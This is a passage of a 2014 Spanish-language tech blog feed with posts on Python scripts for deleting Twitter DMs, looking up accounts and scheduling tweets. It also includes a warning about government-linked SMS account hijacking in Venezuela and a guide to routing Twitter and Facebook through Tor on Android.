  &lt;span class="n"&gt;DMs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_messages_ids&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;DMs&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DMs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;Deleting:&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DMs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;nuke_messages&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DMs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;There appears that there are no more DMs&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DMs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;break&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Usa solo 2 funciones, una en la que invoca primero los primeros 200 mensajes recibidos y luego los primeros 200 mensajes enviados. Tras evaluar si en realidad existen mensajes, se le pasan los IDs de los mensajes a eliminar a la segunda función y se repite este proceso hasta que no existan mas IDs a eliminar.&lt;/p&gt;
&lt;p&gt;Tanto las llamadas de al API para saber los IDs de los mensajes enviados como las de los mensajes enviados tiene un limite así que implemente mecanismos para monitorear si se llego al limite leyendo las cabeceras de las peticiones HTTP.&lt;/p&gt;
&lt;p&gt;Por lo pronto pueden hacer un fork de este &lt;a class="reference external" href="https://github.com/orvtech/Python-tools-for-twitter"&gt;repositorio de github&lt;/a&gt; En un futuro me gustaría convertirlo en una aplicación web usando flask o algo por ese estilo.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Fri, 29 Aug 2014 03:33:00 -0700</pubDate><guid>tag:orvtech.com,2014-08-29:eliminar-twitter-dms-python.html</guid><category>Python</category><category>Twitter</category><category>Scripts</category><category>Linux</category><category>OSX</category></item><item><title>Proteger tu cuenta de Twitter de ataques via SMS</title><link>http://orvtech.com/proteger-tu-cuenta-de-twitter-de-ataques-via-sms.html</link><description>&lt;p&gt;Se que suena ilógico, pero si vives en Venezuela, Cuba, Iran, Argentina, China, o cualquier otro país donde sospechas que el gobierno no le agrada mucho tu libertad de expresión debes deshabilitar la verificación de dos factores y desvincular tu celular inmediatamente.&lt;/p&gt;
&lt;p&gt;Si tienes duda de como hacerlo, aqui te dejo un video:&lt;/p&gt;
&lt;iframe width="720" height="405" src="//www.youtube.com/embed/2_IzORd9JwE" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;El problema es que pocas empresas se imaginan que van a ser de vital importancia en países donde sus ciudadanos son oprimidos y donde el estado tiene acceso a sistemas de mensajería mobil sin orden judicial ni debido proceso como el caso de Venezuela donde Mario Silva en conjunto con Juan Almeida pinchaban teléfonos a diestra y siniestra en vivo en television.&lt;/p&gt;
&lt;p&gt;Actualmente son los mismos personajes los que están detrás de la reciente ola de robos de cuentas y lo hacen forzando el mecanismo de verificación de dos factores a que envié un código de 6 dígitos de emergencia (en caso de que pierdas tu dispositivo) al numero de celular apoderándose de tu cuenta en cuestión de segundos.&lt;/p&gt;
&lt;p&gt;Por ultimo, recomiendo periódicamente revisar que aplicaciones haz autorizado y revocar cualquiera que ya no uses, que no reconozcas o que sospeches que tiene un comportamiento abusivo.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="modus-operandi"&gt;
&lt;h2&gt;Modus operandi&lt;/h2&gt;
&lt;p&gt;Para propagar su ataque dependían un poco de ingeniería social, se hacían pasar por su actual víctima para afectar mas usuarios y de esta forma silenciar sus cuentas.Así operan los robacuentas del gobierno:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Se apoderan de una cuenta importante de la que saben el teléfono asociado vía SMS.&lt;/li&gt;
&lt;li&gt;Desde esa cuenta envían un mensaje privado a sus próximas víctimas diciendo que tienen un notición pero prefieren compartirlo via whatsapp para lo que piden &amp;quot;cuenta de de whatsapp&amp;quot; (numero telefónico).&lt;/li&gt;
&lt;li&gt;Se mueven a la próxima cuenta y repiten el proceso.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Si tienes alguna otra sugerencia puedes dejarla en los comentarios para irla agregando a este articulo y terminar con una lista solida pero simple de como cuidarnos.&lt;/p&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Thu, 14 Aug 2014 22:45:00 -0700</pubDate><guid>tag:orvtech.com,2014-08-14:proteger-tu-cuenta-de-twitter-de-ataques-via-sms.html</guid><category>Venezuela</category><category>twitter</category><category>hack</category><category>hacking</category><category>Hacks</category><category>Hardware</category><category>Video</category></item><item><title>Ver información básica de cuentas de Twitter usando Python</title><link>http://orvtech.com/informacion-cuentas-twitter-python.html</link><description>&lt;p&gt;No hace mucho hice un &lt;a class="reference external" href="http://orvtech.com/cuando-fue-creada-cuenta-twitter.html"&gt;shell script que mostraba la fecha de creación de
una cuenta de Twitter&lt;/a&gt; pero a las pocas semanas quedo obsoleto por la
implementación del API 1.1 que requiere que este tipo de llamas al API
sean autenticadas vía OAuth lo cual no es tan sencillo si solo quieres
usar bash.&lt;/p&gt;
&lt;p&gt;Esta versión esta hecha en Python y a diferencia del anterior proporciona mas información sobre la cuenta. de hecho puede procesar varias cuentas al mismo tiempo, veamos el código fuente de este programa hecho en Python:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;__future__&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;print_function&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;unicode_literals&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;requests&lt;/span&gt;\&lt;span class="n"&gt;_oauthlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;OAuth1&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;urlparse&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;parse&lt;/span&gt;\&lt;span class="n"&gt;_qs&lt;/span&gt;

&lt;span class="n"&gt;handles&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;raw_input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;Enter twitter handles: &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;CONSUMER_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot; &amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;CONSUMER_SECRET&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot; &amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;OAUTH_TOKEN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot; &amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;OAUTH_TOKEN_SECRET&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot; &amp;quot;&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_oauth&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
  &lt;span class="n"&gt;oauth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OAuth1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CONSUMER_KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;client_secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;CONSUMER_SECRET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;resource_owner_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;OAUTH_TOKEN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;resource_owner_secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;OAUTH_TOKEN_SECRET&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;oauth&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;__main__&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;oauth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_oauth&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;screen_name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;handles&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://api.twitter.com/1.1/users/lookup.json&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;oauth&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;user_obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;user_obj&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Handle: &amp;quot;&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;screen_name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;User ID: &amp;quot;&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Verified: &amp;quot;&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;verified&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Name: &amp;quot;&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Account Created: &amp;quot;&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;created_at&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Followers: &amp;quot;&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;followers_count&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Following: &amp;quot;&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;friends_count&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Tweet Count: &amp;quot;&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;statuses_count&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Favorites: &amp;quot;&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;favourites_count&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;- - - - - - - - - - -&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;El producto de este script usando mi Twitter handle (orvtech) luce así:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Handle: orvtech
User ID: 4412471
Verified: False
Name: Oliver
Account Created: Thu Apr 12 21:35:06 +0000 2007
Followers: 5710
Following: 558
Tweet Count: 20233
Favorites: 6514
&lt;/pre&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="como-ver-la-informacion-de-varias-cuentas"&gt;
&lt;h2&gt;¿Como ver la información de varias cuentas?&lt;/h2&gt;
&lt;p&gt;Para ver de varias cuentas de Twitter solo debes dárselas a este
programa hecho en Python, separadas por espacios en blanco, sin el
símbolo de arroba como lo puedes ver aquí:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./user-info.py
Enter twitter handles: orvtech twitter protected
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="que-necesito-para-correr-este-script-de-python"&gt;
&lt;h2&gt;¿Que necesito para correr este script de Python?&lt;/h2&gt;
&lt;p&gt;Para ejecutar este script necesitas registar tu aplicación y generar
unas llaves en &lt;a class="reference external" href="https://apps.twitter.com/app/new"&gt;apps.twitter.com/app/new&lt;/a&gt; para lo que deberás iniciar
sesión con tu usuario de Twitter. Una vez registrada tu aplicacion
deberas asignar los valores de las constantes &lt;em&gt;CONSUMER_KEY,
CONSUMER_SECRET, OAUTH_TOKEN&lt;/em&gt; y &lt;em&gt;OAUTH_TOKEN_SECRET&lt;/em&gt; en el código
fuente del script.&lt;/p&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Mon, 28 Apr 2014 17:00:00 -0700</pubDate><guid>tag:orvtech.com,2014-04-13:informacion-cuentas-twitter-python.html</guid><category>python</category><category>Scripts</category><category>Twitter</category></item><item><title>Conectarse a Twitter y Facebook usando TOR para proteger tu privacidad</title><link>http://orvtech.com/instalando-tor-android-configurar-twitter.html</link><description>&lt;p&gt;The Onion Ring (TOR) protege tu privacidad haciendo que tu conexión
navegue a través de una red distribuida por todo el mundo. Evita que
alguien malintencionado o un gobierno totalitario se de cuenta que
sitios visitas y al mismo tiempo que sitios malintencionados sepan tu
ubicación geográfica.&lt;/p&gt;
&lt;p&gt;La instalación en dispositivos Android es sencilla y configurar el
cliente oficial de Twitter para que navegue por esta red es aun mas
facil como lo puedes ver en este video.&lt;/p&gt;
&lt;iframe width="720" height="405" src="//www.youtube.com/embed/tug-poXrc7Y" frameborder="0" allowfullscreen&gt;
&lt;/iframe&gt;&lt;p&gt;Como ven el procedimiento es fácil y una vez instalada ORBOT en cuestión
de segundos pueden tener el cliente oficial de Android configurado para
que use como proxy HTTP la IP 127.0.0.1 a través del puerto 8118. Cabe
destacar que a pesar de que mi tablet tiene acceso a root en ningún
momento me pidio autorizacion para usar el modo super usuario asi que
esto debería de funcionar en teléfonos o tablets sin acceso a root.&lt;/p&gt;
&lt;p&gt;Las aplicaciones que use en este video las pueden descargar desde el
Play Store de Google.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;TOR para Android aqui:
&lt;a class="reference external" href="https://play.google.com/store/apps/details?id=org.torproject.android"&gt;https://play.google.com/store/apps/details?id=org.torproject.android&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Cliente oficial de Twitter:
&lt;a class="reference external" href="https://play.google.com/store/apps/details?id=com.twitter.android"&gt;https://play.google.com/store/apps/details?id=com.twitter.android&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="y-para-facebook-como-hago"&gt;
&lt;h2&gt;Y para Facebook como hago?&lt;/h2&gt;
&lt;p&gt;En el caso de Facebook recomiendo usar &lt;a class="reference external" href="http://orvtech.com/android_os/tinfoil-facebook-funcional-privacidad/"&gt;Tinfoil for Facebook&lt;/a&gt; y
configurar el HTTP Proxy, Puedes descargar la aplicación directo desde
el &lt;a class="reference external" href="https://play.google.com/store/apps/details?id=com.danvelazco.fbwrapper"&gt;Play Store&lt;/a&gt;
. Si quieres saber mas de esta aplicación hecha por un Venezolano no
dejes de pinchar en &lt;a class="reference external" href="http://orvtech.com/android_os/tinfoil-facebook-funcional-privacidad/"&gt;Tinfoil Facebook: funcional y respeta tu
privacidad&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Aquí les dejo una captura de pantallas que les muestra como configurar
Tinfoil for Facebook, usen los mismos datos para el proxy que usaron
para configurar twitter (127.0.0.1 a través del puerto 8118).&lt;/p&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2013/12/tinfoil-proxy.png"&gt;&lt;img alt="Configurar TOR en Tinfoil for Facebook" class="align-center" src="http://orvtech.info/2013/12/tinfoil-proxy.png" style="width: 756.0px; height: 442.26px;" /&gt;&lt;/a&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="desde-la-computadora"&gt;
&lt;h2&gt;Desde la computadora.&lt;/h2&gt;
&lt;p&gt;Si también quieres mayor privacidad desde tu computadora puedes usar
&lt;a class="reference external" href="https://www.torproject.org/projects/torbrowser.html.en"&gt;TOR Browser Bundle&lt;/a&gt; que es una suite the software que incluye el
cliente de TOR y una versión de Firefox pre-configurada para usar este
cliente. Tor Browser Bundle soporta distintas versiones de los sistemas
operativos Windows, Linux y Mac OS X.&lt;/p&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Sun, 02 Mar 2014 06:00:00 -0800</pubDate><guid>tag:orvtech.com,2014-03-02:instalando-tor-android-configurar-twitter.html</guid><category>Android</category><category>Facebook</category><category>Google Play Store para Android</category><category>hacktivismo</category><category>Linux</category><category>Venezuela</category></item><item><title>Programador de tweets hecho en python</title><link>http://orvtech.com/planificador-tweets-python.html</link><description>&lt;p&gt;Con la ayuda de cron y Python podemos pre-programar el envío de tweets sin que estos se repitan y llevar un registro de los que se han enviado.
Este corto script hecho en python es mi segunda aventura con este lenguaje que poco a poco me esta enamorando.&lt;/p&gt;
&lt;p&gt;La lógica es simple, el programador de tweets lee un archivo que contiene un tweet por linea, actualiza mi estado en twitter con el
contenido de esa linea, registra los resultados en un archivo y por
ultimo elimina esa linea del archivo evitando así repetir el mismo
tweet. Veamos el código fuente:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="c"&gt;#!/usr/bin/python&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;twitter&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;datetime&lt;/span&gt;

&lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;lista.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;r&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;first_line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;readline&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;first_line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;first_line&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="n"&gt;first_line&lt;/span&gt;
&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;logfile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;procesados.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;fecha&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%Y-%m-&lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s"&gt;_%H:%M:%S&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;logfile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fecha&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;first_line&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;logfile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c"&gt;#send tweet&lt;/span&gt;
&lt;span class="n"&gt;api&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;twitter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Api&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;consumer_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;consumer_secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;access_token_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;access_token_secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

